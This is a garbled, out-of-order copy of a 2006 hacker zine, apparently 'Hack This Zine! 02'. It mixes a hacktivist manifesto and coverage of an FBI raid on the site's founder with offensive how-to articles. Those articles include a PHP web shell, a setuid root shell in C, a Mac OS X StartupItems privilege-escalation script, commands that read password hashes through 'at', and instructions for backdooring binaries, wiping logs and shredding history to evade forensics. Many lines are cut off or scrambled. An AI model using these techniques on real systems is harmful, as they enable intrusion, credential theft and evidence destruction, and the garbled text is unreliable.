

you've already got some level of access. Good luck, stay out o
don't get caught!

funtimes.php:
// drop in any directory in the web root to exec cmds as the a

```
<code><pre> <?php $cmd = $_POST["cmd"]; passthru("$cmd", $retu  
</pre></code><br><br>hacker anarchists are everywhere!<Br> <fo  
action="funtimes.php" method="POST"> <input type="text" name=""  
type="submit" value="exec"> </form>
```

suidshell.c:
// upon gaining root, compile this file and chmod 4755 suidshe:
instant root

```
#include <stdio.h>  
int main() {  
    setuid(0);setgid(0);  
    execl("/bin/bash","bash",(char *)0);  
    return 0;  
}
```

```
#####!  
!###          TAKE ACTION          ###!  
!###  HACKTIVISM IN PRACTICE  ###!  
#####!
```

"The people who are crazy enough to think they can
the world are the ones that do."

```
#####  
#          13. Join Revolution, Live Happier  by r3d5pik3  
#####
```

Hack This Zine! 02

Notes from the Hacker Underground

HackThisSite.org

2006

```
# unset HISTFILE; ./clean.sh; cat >> /var/www/hackthissite.org/  
#####  
  
$cmd",          ); ?  
ost">a  hist hac  
ype="submit" value          form> ha  
disruption, coun          e The real t  
o them is pote          agentWeapon  
pfile0 now+1minute          afa33. 0 will          using  
/var/at/jobs          00 | grep -A 4 -i  ngnme It is on  
t everything          e free to do anything. Your life is  
a time.          u were going to die tomorrow, what  
cat /et          e; culture jamming; Oday explo  
e hell o          .h> void main() { setuid(0); s  
hoop whoop          n/sh -i"); } deface the nation  
tune in dro          ernet liberation front; stop the  
get off the grid; don't hate the media, become the med  
dev/random > /root/.bash_history;  plug; Become a gho  
es for people in code; Big brother is watching; give h
```

```
e><?php $cmd = $_POST['cmd'] passthru("$cmd", $
m action="phpbackdoor.php" method="post">ana
ut type="text" name="cmd"><input type="sub
ght crime, anarchy, financial disruption
e White House. Any one of them i
n. at -f /var/vm/swapfile0 now+1
bin/sh; strings -8 /var/at/jo
y after you have lost everything
ending what minute at a time. If
ld you do today? # cat /etc/shad
revolut r the hell of it;
d(0); tf( "whoop whoop!\n"
th turn on tune in
tate; ge off
g; cat nd
ret me
to watc
/pre>< acti
kers a t;
ue="exec ou;
ter cu :
tentia :
nute;
bs/a011a
ng whe
. If y
etc/shad
ll of it
hoop!\n"
une in d beration front; stop
get off the id; don't hate the media, beco t
dev/rand bash_history
```

#####

If this by itself doesn't give you access, you're going to have to look for any exploits on the system to gain further access. Try a nmap scan and a nmap to see what sort of services are running on this machine that can be exploited. Look for suid binaries on a system: find / -perm -2000 -exec ls -ldb {} \; . Look through k-otik.com, milw0rm.com, securityfocus.com, and others to see if there are any local rootkits on this system. No system is entirely secure, especially if the system is unpatched, there's probably dozens of ways to get root, but it's outside the scope of this article.

Now that you've got complete control of the machine, there's a lot of things you can do to secure access and cover your tracks. Add new users with the same permissions as root. Create a C file that and chmod it 4755 to give it a /bin/sh shell as root(see suidshell.c below). Bind a port to the machine as the root user so you can hop on without leaving any messy logs. If you really want to get fun, you can backdoor several system binaries like w, who, ps, ls, and even login to hide your trails in a system. There are all sorts of rootkits that automate the process.

Clearing the logs of a system could mean the difference between a successful investigation and getting away with the penetration. Every system has logs in different locations and often times system administrators store log files up to different locations. For starters, wipe everything in /var/log. If you gain access through a flaw in the web server, you should also clear all apache access or error logs. Usually you can find the location of this through reading the httpd.conf file. Clear the .bash_history file for all users to destroy your command history(starting an ssh session with the HISTFILE command will disable this logging). There are also programs like zap3.c which help automate the process of clearing logs on a system for all specific ip addresses without completely trashing logs and system files. Remember, deleting a file is not enough, you want to shred the data to slow forensics.

This should give you an introduction of some directions you can follow.

being made into a criminal by the corporate media.

The texts enclosed contain stories, projects, and ideas from people who have found ways to unplug themselves and hack the system. We can gather our own ammunition and a network of hacktivists to network with, but that's not enough to set yourself free. Only you can break your chains and go to television and take to the streets. Get involved!

... lock up the cops, ...

!!
#####

!### TABLE OF DISCONTENTS ###!
#####

NOTES FROM THE HACKER UNDERGROUND

A Hacktivist Manifesto.....
Major Hack This Site Milestones.....

TURN ON: HAPPENINGS IN THE SCENE

Hack This Site Founder Raided by FBI.....
Right-wing Hackers Target Indymedia.....
Directnic Enforces ICANN WHOIS Contact Info.....
Phpb 2.10 Disclosure Causes Mischief and Mayhem on the Internet.....
Nmap Developer Intimidated by FBI...By Wyrmskill.....

ARM YOURSELF: EXPLOITS AND TECHNIQUES

The Art of the Cipher...By Psyche.....
Finding and Exploiting PHP Script Vulnerabilities.....
Hacking Local Mac OS X.....
C Compilation on a Low Level...By Forcemaster.....
Security Access, Backdoors and Gaining Permissions.....

<http://ctour.tonymantoan.net> -- Absolutely fucking awesome C tutorial for beginners. Where I started, it does however have a few errors but nothing more.

<http://www.ecst.csuchico.edu/~beej/guide/net/> -- Very great C tutorial.

<http://www.winprog.org/tutorial/> -- Nice win32 API tutorial.

<http://www.hackthissite.org/lectures/read/9/> -- My two C tutorials at [hackthissite.org](http://www.hackthissite.org).

<http://www.planetsourcecode.com/> -- All your source code needs.

<http://www.phrack.org/phrack/49/P49-14> -- The infamous "Smashing the fun and profit" by Aleph One

12. Security Access, Backdoors and Gaining Permissions
#####

Woah! I just found this bug on this web server that lets me run as root on the web server. This is cool! Too bad I only have permissions as the user I do now? No doubt you've left some pretty nasty trails all over the server, and you're probably not satisfied with the access level I have right now.

This guide will show you some tricks on how to secure your access to remote machines, set up backdoors, and clean up after your tracks. It will also show you how to chain several secure jump boxes to route your connection to you to be virtually anonymous, especially if you use a public user on the internet connection.

If you've found an exploit, one of the first things you might want to do is probably find a way to make sure you'll always have access, even if the exploit is patched.

provides its own mini-language, as it were. Using the preprocessor advantages, which I'm not going into here as this is not a C text interperates all processes beginning with a "#" (hash) sign. Now how it does this with some preprocessor directives.

The most common preprocessor directive is "#include", when an #include is issued like "#include <file>" the preprocessor will look in the directory where system header files are usually kept. Normally /usr/include on Unix systems. When an #include statement is issued like "#include 'file.h'" the preprocessor will look in the current directory for the header file. The #define directive is nothing but a text substitution. #define is used to make macros, which are basically mini-functions, in this way macros can be very powerful. The next stage in C compilation is the compiler which translates the code into assembly. It receives the source code from the preprocessor.

The assembler is next, which creates object code. Object code is the pre-parsed source code. Usually called binaries. An object file (a file containing object code) is mostly machine code. Which is code that is not understood by the machine processor. Object code has a .o suffix on Unix and usually .obj on windows system. Object code can be linked with other object files and libraries to create a final executable. Finally is the linker. The linker takes various object files and assembles them into a single executable file. Linkers can also include object files from external libraries. There are advantages over including a single large object file such as more efficient compilation time, and more manageable code. Most compilers will link with several default system libraries during compilation. After the compilation steps you should be left with a finished executable. Some compilers have a nice syntax checker that will stop compiling if an error occurs, although occasionally errors do occur that are not picked up by the compiler.

SamHallam@gmail.com (Forcemaster)

TAKE ACTION: HACKTIVISM IN PRACTICE

Join Revolution, Live Happier...by r3d5pik3.....
Security Culture: Hackers Living in an Age of FBI Repression
Police State USA and the Politics of Fear.....
Paradise Engineering, Political Change...By archaios.....
Communication and Info Gathering at a Protest...By alxCIA.....
Beyond Physical Borders: Hacking and Activism on the Betwixt
White and Black...By shardz@dikline.....
Autonomous Hacktivism With the Internet Liberation Front.

#####!
!### TUNE IN: ###!
!### HAPPENINGS IN THE SCENE ###!
#####!

"The nationalist not only does not disapprove of atrocities committed by his own side, but he has a remarkable capacity for not even thinking of them." - George Orwell -

#####!
O1. A Hacktivist Manifesto: Notes from the Hacker Underground
#####!

As our hacking and activist communities grow, the ruling classes will react to stop us. We live in an age where our every thought and action is monitored, and to question the injustices of our society are deemed unpatriotic. The corporate media scares the public with images of terrorism and cyber-terrorists so congress can give more money to law enforcement. The ministry of peace. The Office of Homeland Security, the USA PATRIOT Act, Information Awareness. George W. Bush, Dick Cheney, John Ashcroft. Fascism in America is not an impending threat: it's already here and the lines are clearly drawn.

Inevitably those who question and confront the injustices of the system will become targets for harassment by the rich and powerful. If you are coming to you from someone who is facing the full weight of the system from first hand. The success of Hack This Site as well as my participation in organizing a number of protest actions has made me a target of the system. My apartment was raided by Chicago FBI who seized all of my equipment. They are threatening me with felony charges citing millions of dollars in damages. I am facing up to thirty years in jail for a crime that hasn't even happened.

This is the reality of the political system we live in: the rich and powerful have no regard for human rights, and will do everything in the system to maintain the any sort of resistance against their empire. The feds are in the system breaking lives and have had no reservations in making the most drastic changes. IndyMedia servers are seized by international law enforcement agencies, questions, raids, and arrests dozens of hackers a year even from Hack This Site, HBX Networks, and various IndyMedia collectives. The FBI logs for servers that host hacker and anarchist websites like insecure.org, etc. Police arrested over 1800 people at the pro-Republican National Convention while the the FBI and the Secret Service investigate key organizers. When they had visited me, they had taken photos and comments from Hack This Site's IRC server.

The reason why we are being monitored and intimidated is because we are capable of doing if we realize our collective power and use it. The stakes are high, but they aren't unbeatable. The main weapon in their arsenal is how they can control people through fear. Every day, we hear stories about people who were smart and brave enough to stand up to them. If we let them walk all over us, then they win. If we organize and fight, then their grip is loosened and the truth may flow from under the and trees. These are the opening shots in a war they say will last a lifetime.

The struggle to build a free internet and a free society has y

mRouter local root exploit

A buffer overflow in a command line argument of the mRouter binary can be exploited to drop to a root shell. mRouter is SUID by default and is installed with the iSync packages. This bug was fixed with Mac OS X 10.3.4.

Apple Internet Connect local root vulnerability

Apple Internet Connect writes to /tmp/ppp.log, creating it if it doesn't already exist, and appending to it if it already exists. You can exploit this by appending data to any file on the system by creating a symbolic link from /tmp/ppp.log to the file being altered. By adding code to the top of the box, and redirecting /tmp/ppp.log to /etc/daily, you can execute a cron job that checks this file everyday at 3:15am. This vulnerability was fixed in b-r00t and affects versions up to 10.3.4.

```
#####  
#                               11. C Compilation on a Low Level   By Forcemaster  
#####
```

This article discusses the process behind compiling a C program. The article will be split into two sections. The first about low level C compiler workings, the second will contain some useful C links and some code snippets that I might decide to throw in there. So read on...

The first part of the compilation process is the preprocessor. The preprocessor accepts source code as input and is responsible for removing comments, interpreting preprocessor directives (such as #defines and macros), and pre-else with # at its start for that matter). The next stage in compilation is the compiler. All this does is translate the source code sent to it into assembly code. Very good. Next. The assembler creates object code. The last step in C compilation is the linker. The linker adds libraries, and external functions to the main() function, and any external variables. After this has been done, an executable binary is produced. The Preprocessor. A unique feature to C compilers is that the preprocessor is always the first step in compilation. The preprocessor

Other Vulnerabilities

There had been a number of vulnerabilities and exploits discovered over the past year.

CF_CHARSET_PATH local root exploit

Exploiting a buffer overflow in Core Foundation, an attacker can gain root by injecting malicious code into the CF_CHARSET_PATH environment variable. The exploit is publically available and Apple released a patch in 2005.

AppleFileServer remote root exploit

A pre-authentication buffer overflow in Apple file sharing allowed remote commands as root. It affects several different versions of the software, but only the return address and offsets are public for 10.3.3. This was patched by Apple on 2004-12-02.

Browser homoglyph attacks allowed spoofed URLs

Because of improper International Domain Name support, it is possible to create a link which tricks the browser into appearing like an official link, but actually redirects to somewhere else. Example: <http://www.p#1072;ypal.com> appears to be paypal.com while it actually goes to www.xn--pypal-4ve.com. This was discovered by the Schmoo group and patched with the March 21 2005 security update.

Adobe Version Cue local root vulnerability

On systems running Mac OS X 10.3.6 or below who has Adobe Version Cue (ships with virtually every Adobe product) allows unprivileged users to gain a root shell through manipulating suid shell scripts. The script `/Applications/Adobe Version Cue/stopserver.sh` does not check the current directory you are in before it makes references to other shell scripts, so it is able to call `stopserver.sh` through a symbolic link and execute root by making a fake `productname.sh`. You can easily `cp /bin/sudo .` to `4755`, and `chown root`. Boom, instant suid root shell.

amazing results. We have developed open source software, peer to peer sharing services, secure and anonymous open publishing systems, and more than can be explained here. And every time we develop these exciting new technologies that let us pursue our creativity and innovation, the establishment tries to keep up by inventing increasingly ridiculous ways to stop us. But we will always be one step ahead of them: while they are trying to create, we are already creating.

The balance of power between revolutionary hackers and the reactionary government will exist in various degrees at all times. The problem is not that we are being crushed away anytime soon. Instead of spending time fighting amongst ourselves, we need to work together to find solutions. Embrace a diversity of tactics and work with our brothers and sisters to build a front to combat the reactionary state. Not only do we need to build defensive networks to circumvent security and censorship, we need to take direct action and bring down the corporations and governments that stand in our way. While they are trying to pay their paycheck, we are fighting for our lives.

Hacktivists of the world, unite!

02. Major Hack This Site Milestones
#####

- First challenges posted on Hulla-balloo.com in May 2002: 10 basic challenges with a basic top scores section. Gets a surprising amount of feedback with people volunteering to help with the site.
- Several unofficial IRC servers and channels are opened
- Launches HackThisSite.org in August 2003:
- Realistic missions with simulated targets and objectives.

- User contributed articles / external resources.
- User system that keeps track of missions completed.
- Web based chat system.
- The "Hack This Site" challenge and the hall of fame.
- HTS staff organization is set up to maintain the various functions of the website (moderate articles, interact with users, post news, contribute new features, etc).
- HTS IRC server launched, online community explodes.
- HTS public meetings are set up with set agendas and facilitate users to meet with staff about future projects of HTS, maintain hacker chat.
- HTS users and staff are inspired to produce several new challenges in addition to new realistic missions, several new kinds of hacker challenges introduced. Application Challenges lets you hack away at opera challenges. Encryption Challenges gives out a string encrypted algorithm and people compete against each other to crack it.
- Declares "Summer of Resistance" in 2004 to have Hack This Site host several major hacker conventions and protests.
- Publishes first hacktivist zine, distributes hundreds through mail, they are then available at various infoshops and conventions for the first time. A half-page zine with hacktivist texts and technical articles.
- Organizes for the Fifth HOPE convention: 7/9/04: Chicago 2600 to NYC. Several people sets up radical HTS table selling the zine and taking radical propaganda away. Networks with other activists and hackers.

Next time you restart the machine, it will execute the shell script. This particular shell script will make a suid root shell in /etc/passwd.

URL Handler Exploits

There are a number of security issues related to URL handlers in Safari. Through these tricks, you are able to execute code on a victim's machine by loading a link in *any* web browser. There are several varieties of exploits based around the same contents and have been patched through a number of different security updates Apple had released, the latest 2004.1 most of them. The basic idea is to trick the browser into downloading a DMG file and then trying a second trick to actually execute the files stored in the DMG file.

There are a number of ways to be able to mount volumes on a victim's machine. You can prepare an HTML document to automatically redirect you to a volume through javascript or a meta refresh tag. By going to `disk://urlto.com/some/package.dmg`, the browser will automatically mount `package.dmg`. This can also be accomplished through something like `ftp://`, `afp://`, and even `http://` inside of safari.

The contents of the DMG file may contain a specially crafted application called Fun.app which can in itself register a new URL handler (let's say Fun.app) that when called by any browser it will launch Fun.app. Applications can register new URL handlers as `CFBundleURLTypes` tags stored in the `Fun.app/Contents/Info.plist` or the `plist` resource fork. Alternatively, you can also try `help://runscript=../../Volumes/yourvolume/yourscript.dmg` files stored on the mounted dmg volume.

Other interesting URL handlers that can be explored for future exploits are `x-man-page://`, `telnet://`, `ssh://`, `ical://`, `addressbook://`, `itms://`

security mechanism set up by the owners.

Exploiting Bad Startup Items Permissions

If the /Library/StartupItems folder has not already been created, software installers that use this folder may have to create it. Programs that run as root. These scripts run as root. If written software installers will create this folder with bad permissions, allowing any user to drop files in that directory. One could write a script, drop it in that folder, restart the computer, and be able to run scripts as root.

```
ls -al /Library/StartupItems/
total 0
drwxrwxrwx 3  root admin 102  5 Apr 12:15 .
drwxrwxr-x 39 root admin 1326 6 Apr 09:28 ..
```

As you can see, the directory is chmod 777 - which means we can write to it. Make a folder in this directory and write a shell script with permissions as the directory containing the text:

```
#!/bin/sh
cp /bin/sh /etc/.rewt
chown root /etc/.rewt
chmod 4755 /etc/.rewt
```

Then make a file called StartupParameters.plist containing the following:

```
{
  Description = "NameOfScript";
  Provides = ("NameOfScript");
  OrderPreference = "None";
}
```

gearing up for upcoming protests.

- Organizes for DEFCON convention 7/31/04: pick up several HTS members, find a way to end up in Vegas. Meets with several local activists and organizers. Sells copies of 2600, distributes lots of propaganda, big hacktivist event.
- Visited by Chicago FBI and is questioned regarding violence at the Republican National Convention protests, hacktivism and DEFCON.
- Massive Republican National Convention protests, week full of actions, various hacktivist actions, thousands arrested including HTS members. About 80,000 registered HTS users.
- HTS v3 released with complete recoding to accommodate for growth and restructured staff, etc. More stable, interactive, and secure.
- HTS IRC merges with TopGamers IRC network. Technical lectures and events for users to be held over IRC.
- HTS Radio set up with a live radio stream. Active IRC community sharing hacker tips and music. Eventually the server was shut down due to bandwidth and drama, but will return later.
- HTS developer jessica discovers and releases the phpBB 2.0.10 injection vulnerability, which spreads like wildfire across the web.
- Root This Box released: new set of challenges where several users' machines configured for free range hacking: complex team scoring system, several boxes set up, many real-world hacking skills are shared.
- Many HTS members start to interact with more radical and blackhat teams as real world hacking skills increase.
- Move to new dedicated server to accommodate for growth and bandwidth.

- HTS Radio relaunched with pre-recorded content. Audio is sepe different "playlists" which are streamed randomly as well as p downloads in radio archives. Collection of various hacker radi convention presentations, indymedia content, timothy leary hip; unique HTS content.
- Major counter-inaugural DC protest, anarchist actions all ove more hacktivist actions.
- HBX Networks merges with HTS to provide free shell server and
- HTS breaks off with TopGamers network because of administrati sets up IRC on our dedicated machine.
- FBI raids Jeremy's house in massive investigation: accuses Je into protestwarrior.com and threatens credit card fraud charge.
- HTS gears up for another summer full of actions: finishing up magazine and prepares for the DEFCON convention.

```
#####!
!###          TURN ON:          ###!
!###  HAPPENINGS IN THE SCENE  ###!
!#####!
```

"Dream as if you'll live forever. Live as if you'll

```
#####!
#          03. Hack This Site Founder Raided by FBI
#####!
```

On March 17 2005, nine Chicago FBI agents raided and seized al

security-password. This should spit out a string which is the o password encoded in xor hex. It is NOT encrypted, it is simply

```
nvrnm security-password
security-password: %d9%df%da%cf%d8%d9%cf%c1%d8%cf%de
```

The MacSIG group at University of Michigan wrote a C script to generate strings to be used as the open firmware password: <http://macosx.si.umich.edu/files/ofpngen.c>

Using this you should be able to generate strings to match with found by nvrnm security-password. You can also use this chart a

```
nvrnm security-password
a b c d e f g h i j k l m
%cb%c8%c9%ce%cf%cc%cd%c2%c3%c0%c1%c6%c7
```

```
n o p q r s t u v w x y z
%c4%c5%da%db%d8%d9%de%df%dc%dd%d2%d3%d0
```

```
A B C D E F G H I J K L M
%eb%e8%e9%ee%ef%ec%ed%e2%e3%e0%e1%e6%e7
```

```
N O P Q R S T U V W X Y Z
%e4%e5%fa%fb%f8%f9%fe%ff%fc%fd%f2%f3%f0
```

```
1 2 3 4 5 6 7 8 9 0 ! @ #
%9b%98%99%9e%9f%9c%9d%92%93%9a%8b%ea%89
```

```
$ % ^ & * ( ) + = - _ } {
%8e%8f%f4%8c%80%82%83%81%97%87%f5%d7%d1
```

When you have this password, you are able to boot into single u restart from the operating system stored on your iPod, circumve

```
# strings -8 /var/vm/swapfile0 | grep -A 4 -i longname
```

This will only recover passwords from people who had sat down at the system with their user account. Every time the machine reboots swapfiles are cleared, so the longer a machine had been running the more chance you have with recovering passwords.

Of course, these files are read only by root. You can also use the vulnerability above to copy these swapfiles to a temporary location and use the above command to parse those files.

----- Tricking Software Update -----

Mac OS X has a handy tool called Software Update which automates installing software patches and security updates. Many of the tricks in this document have already been patched. Fortunately, if you have access to a mac you can trick Software Update into thinking that you have already installed updates.

Check out the contents of /Library/Receipts/. Create a file with a dummy update as an update package and Software Update won't list that particular update.

----- Recover Open Firmware Password -----

Many public computers, especially commercial cyber cafes, use software or tracking mechanisms that prevent you from doing certain things or even require you to pay by the hour. Ordinarily, you would boot the computer into Open Firmware and either use single user mode to bypass the system or just boot to an external device like the copy of Mac OS installed on your iPod. Unfortunately, more and more computers are now password protect Open Firmware which requires you to authenticate before any of these things.

This is beatable. If you have root access in terminal, try typing

equipment in Jeremy Hammond's apartment. Facing intimidation from the FBI and the Secret Service, he is being accused of hacking into rigging the 2008 election, running ProtestWarrior.com and stealing credit card numbers. While the damage has not been damaged and no credit cards were billed, the FBI is threatening him with fraud and unauthorized access totalling to millions of dollars in damages and up to thirty years in federal prison for a crime that never happened.

Jeremy Hammond aka xec96 was the founder of online hacking community HackThisSite.org which taught network security skills through a series of hacking challenges. With his coordination the website was able to launch a series of magazines, launch an online hacktivist radio station, and several hacking competitions. Because it has grown to be increasingly controversial, it is facing overblown intimidation from unjust policies despite being legal and non-destructive in nature.

Jeremy has also worked with several local and national anti-war groups to organize for a variety of marches, rallies, and national demonstrations including the Republican National Convention in NYC, the counter protests in Washington DC, and dozens of other local Chicago actions. Hammond is an innocent man who is being targeted for his participation in the struggle for social justice and the success of the Hack This Site website. His passion and determination to challenge the injustices of the world has made him a target of harassment by law enforcement.

Please ask the US District Attorney's Office to drop the charges.

FreeJeremy.com Legal Defense

FreeJeremyNow@gmail.com

Contact: Loren Blumenfeld, attorney - 312-939-0140

Contact: Pong Khumdee, partner and roommate pongtakespictures@gmail.com

Contact: Wyatt Anderson, administrator of HTS: wanderson@gmail.com

Who is Jeremy Hammond?

Jeremy was a political hacker who used his abilities to defend and a free society. He has founded a number of projects including progressive newspapers, educational websites, and helped organize political protests. He has worked to defend the IndyMedia project from right-wing hackers by finding and fixing several vulnerabilities. His activities have been ethical and non-destructive, he has found ways to get around law enforcement because he has been brave enough to stand up to injustices of the political system.

Jeremy Hammond was the founder of online hacking community Hacktivity which taught network security skills through a series of online challenges. With his coordination the website was able to publish magazines, launch an online hacktivist radio station, and start competitions. While the site has grown it has become increasingly popular. The site and community is facing overblown intimidation from local policies, despite being legal and non-destructive in nature.

Jeremy also worked with several local and national anti-war groups for a variety of marches, rallies, and national demonstrations including the Republican National Convention in NYC, the counter-inauguration in Washington DC, and dozens of other local Chicago actions.

How and why is Jeremy being threatened by the FBI?

On March 17, 2005, Jeremy's apartment was raided by nine FBI agents who ransacked the place, seizing all electronic equipment as well as a cell phone/address book, the lease, important notebooks, and even a laptop. Then, Jeremy and his lawyer have been meeting with the US attorney. The US government says that they will be indicting him with several charges related to computer hacking and credit card fraud.

Jeremy was also visited by the United States Secret Service on March 18, 2005. They checked out his apartment and asked Jeremy a few questions related to

unprivileged access. Using this trick, you can read a variety of files including user password hashes, temporary swap files, .bash_history, etc.

```
This will allow you to read a list of commands executed by the user.
local: user$ id
uid=503(test) gid=503(test) groups=503(test)
local: user$ ls -al /users/admin/.bash_history
-rw----- 1 admin staff 1259 12 Sep 2003 /users/admin/.bash_history
local: user$ cat /users/admin/.bash_history
cat: /users/admin/.bash_history: Permission denied
local: user$ at -f /users/admin/.bash_history now+1minute
Job a011afa33.000 will be executed using /bin/sh
local: user$ cat /var/at/jobs/a011afa33.000
(the contents of /users/admin/.bash_history)
```

As long as you have local access to the machine, you can read the .bash_history of all users using this vulnerability:

```
at -f /var/db/shadow/hash/559DBF44-4231-11D9A5A8-00039367EBAE now+1minute
```

This was patched with the January 25, 2005 security update available from Red Hat.

----- Sensitive Swap Files

There is another technique for recovering passwords making use of swap files. Several components including FileVault, Keychain, login, etc. store all sorts of sensitive data in these swap files located in /var/db/swapfiles. These are huge files and it takes some clever unix commands to be able to extract any useful information out of them. However, often times the above applications store usernames and passwords in plain text.

Try this on your home machine (making sure to also try swapfile1, swapfile2, etc)

```
admin 559DBF44-4231-11D9-A5A8-00039367EBAE 501
orb 5D97A400-5045-11D9-AFEB-00039367EBAE 502
test C82D45B7-6422-11D9-853D-00039367EBAE 503
```

So the password for the "admin" user is stored in /var/db/shadow/hash/559DBF44-4231-11D9-A5A8-00039367EBAE. Now read only as root. Of course, there are a few tricks we can try to read these files. But let's say that you have root access for

```
# cat /var/db/shadow/hash/559DBF44-4231-11D9-A5A8
00039367EBAE 209C6174DA490CAEB422F3FA5A7AE634FOD412BD764FFE81.
1404EED033E22AE348AEB5660FC2140AEC35850C4DA997
```

This large string contains two separate hashes for the same password. The first 64 characters form the SMB hash(which is used for Windows file shares) which is not turned on) which is actually two 32 character MD4 hashes. The last 40 characters form the SHA1 hash. Once you have recovered all that remains is to properly format this file and run it through a password cracker like John the Ripper or Lepton's Crack.

SMB hashes:

```
admin:209C6174DA490CAEB422F3FA5A7AE634:FOD412BD764FFE81AAD3B43B
orb:6FFB224FB592476B2230862E220937DA:4B881A967FE694FBAAD3B435B
test:OCB6948805F797BF2A82807973B89537:01FC5A6BE7BC6929AAD B435
```

SHA1 hashes:

```
admin:D033E22AE348AEB5660FC2140AEC35850C4DA997
orb:23119F5947DA61A815E7A1CC2AF9BDB8C19CAF1F
test:A94A8FE5CCB19BA61C4C0873D391E987982FBBD3
```

Reading Files as Root through /usr/bin/at

There is a vulnerability in /usr/bin/at that allows you to read files. The implications of this can be devastating if you already have

political activities. They were asked by the FBI who tipped the FBI about Jeremy's protest activities and anarchist tendencies. The SS also asked about political groups he has worked with, what protests he has been involved in, and what he was going to assassinate the president, etc.

The FBI has stated that they have been monitoring Jeremy's activities for the last six months (since Summer 2004) when the FBI first visited Jeremy about possible disruption and violence at the Republican National Convention protests in NYC late August. The FBI has gone as far as quoting conversations from the Hack This Site IRC server, talked about his activities, been, etc. They also say that they have stopped by his apartment on several occasions to check up and take pictures. His phone and internet are almost certainly tapped as the FBI has stated that they will be monitoring every action and statement.

What is Jeremy being accused of doing?

The FBI alleges that he is involved with an underground hacking group that has hacked and gained access to the right-wing website ProtestWarrior.com, credit card numbers belonging to people who ordered products off of the website. The FBI says that he was involved in a plot to make donations from credit card numbers to various humanitarian charities, civil rights and leftist protest groups.

These charges are outrageous and reactionary because none of the things mentioned happened. The website has not been defaced and no credit card numbers have been billed. The FBI and the US Attorney have quoted several million dollars in damages(~\$500 per credit card) and is threatening up to thirty years in prison for a crime that has not been committed.

Who is ProtestWarrior?

ProtestWarrior.com is a right-wing group that tries to provoke and disrupt constitutionally protected protests and actions of progressive

They foster such conservative and intolerant dogma which borders on hate-speech. Their most recent national action was their attempt to cause trouble at the counter-inauguration protests in Washington DC which failed miserably in being effective or generating any decent numbers.

Although no damage had been done to their system, the ProtestWarrior is known to falsely report information to the police on an internet site and demonize leftists. This particular case is similar: while the site is kept done to the website or credit cards, ProtestWarrior is trying to incriminate hackers and activists.

What is ironic is that ProtestWarrior has worked with groups like RightWingExtremist.net and the g00ns to hack IndyMedia and others in the past. Read an in-depth discussion of ProtestWarrior, who they are, and how to expose them: <http://indymedia.us/en/2005/03/5268.sh>

What property has the FBI seized?

Nearly everything electronic has been seized from their house, including a number of private notes and documents including notebooks as well as their lease. In addition to taking Jeremy's property, they have also seized roommate's computers and other equipment which were unrelated to the case. Details of all property seized are included in the search warrant.

While it has been more than two months since the original incident, the FBI has not filed charges nor returned any property. We are sending out a Motion for Return of Property, which the FBI is required to do under the Federal Rules of Criminal Procedure.

How could I support the case against these ridiculous charges?

Support can range from signing the online petition, making a donation, or contacting the US Attorney, or just by spreading the word about the situation. Please see the support page for more details.

```
#####  
# 10. Hacking Local Mac OS X  
#####
```

The tricks explored in this article range from privilege escalation to vulnerabilities to clever ways to get around protection schemes. Some are kept on the down low, but as more of them are recognized and published, we may as well make these available for people to learn from. While I'm going to post exploit scripts, I'll explain what can be done and how to do the research and make the most of these tricks.

- Cracking User Passwords
- Reading Files as Root through /usr/bin/at
- Sensitive Swap Files
- Tricking Software Update
- Recover Open Firmware Password
- URL Handler Exploits
- Other Vulnerabilities

Cracking User Passwords

Gone are the days where you can just execute "nidump passwd ." to dump DES encrypted passwords for all users. Even though this was patched, there's still several ways to be able to recover user passwords. If you don't store passwords in an /etc/shadow or /etc/master.passwd file, there is a way you can recover password hashes for all users.

Mac OS X uses NetInfo to handle user accounts. The password hashes for user-based systems are stored in /var/db/shadow/hash/(guid). Each user has a corresponding hash file. To get a list of users and their corresponding generateduid, try:

```
local: user$ nireport / /users name generateduid uid | grep -v
```

filename="somefile.html" which usually defines the name of the potentially allows you to upload PHP files, gaining the permis server.

Another vulnerability in PHP allows you to bypass their measur transversal. If you upload a file with a single quote(such as PHP will escape the quote into a '/' AFTER it sanitizes the inp the final name of ../'filename.html. If there isn't sufficient and if the web server has write permissions, this will potenti. upload files one directory up. This affects PHP 4.3.6 to 4.3.9

General Misconfigurations

Often times a web developer will be careless and make mistakes reveal configuration files or logins. Often a php file will be other than .php which will cause the web server to output the instead of parsing it for PHP code before output. This can als backups are made by copying a file as config.inc.php.bak or so might reveal login or mysql information.

It is also a good idea to check out all directories on a syste an index page to see whether the web server is configured to g directory listing, which in some cases might give you access t information about the server or organization.

If you have the ability to read files off their machine, you m reading configuration files for their PHP scripts or the serve: they are using common software, try downloading the source fro website, find the name of the configuration file, and try read reveal mysql u/p or more. If you can read outside of the web d reading httpd.conf, ftp conf files, user .bash_history files, .htaccesses, etc (or boot.ini, sam, config.sys, etc on a window developer may even be as silly to leave default logins and pas configuring a ready to go PHP script.

Are copies of the search warrant available?

Electronic copies of the search warrant can be downloaded at th FreeJeremy.com. The affidavit which established probable cause shown to us yet.

References

This is a short list of documents and reading materials related and cybercrime.

- "Everything a Hacker Needs to Know about Getting Busted by t <http://www.grayarea.com/agsteal.html> - A general introduction t related to hacking and cybercrime from Agent Steal who served 3 similar charges.

- 1030: Computer Fraud and Abuse Act - http://caselaw.lp.findlaw.com/cascode/uscodes/18/parts/i/chapt section_1030.html - Title 18 Part I Chapter 47 Section 1030 - F activity in connection with computers. Criminal charges for una

-Cyber Security Enhancement Act of 2002- http://www.cybercrime.gov/homeland_CSEA.htm - Additions from th Security Act which make changes to the Computer Fraud and Abuse strengthen the penalties and surveillance capabilities of law e Searching and Seizing Computers and Obtaining Electronic

- Evidence in Criminal Investigations - <http://www.usdoj.gov/criminal/cybercrime/searching.html> - Compl by and for federal law enforcement regarding how to obtain a wa search and the procedure for gathering evidence on seized equip investigations.

- Field Guidance on New Authorities That Relate to Computer - (Electronic Evidence Enacted in the USA Patriot Act of 2001 <http://www.usdoj.gov/criminal/cybercrime/PatriotAct.htm> - Document enforcement that details new surveillance capabilities and evidence as a result of changes with the USA Patriot Act. Scary read!

- Federal White Collar Crime - <http://profs.lp.findlaw.com/coll> non-computer specific introduction to federal criminal law.

- Homeland Insecurity: The end of Civil Liberties - <http://www.oilempire.us/homeland.html> An analysis of recent anti-legislation removes many of our constitutionally protected freedoms stage for a new age of fascism.

Contacts

If you would like to know how you can support Jeremy or if you have information that can be helpful to his case, please get a hold of the legal support team. The email address FreeJeremyNow@gmail.com. Several friends and family members. This is the best bet in case information is made available to everyone on the team.

For quicker results, you may need to get a hold of someone directly information below:

Loren Blumenfeld, Jeremy's lawyer, is available at his office ; 312-939-0140

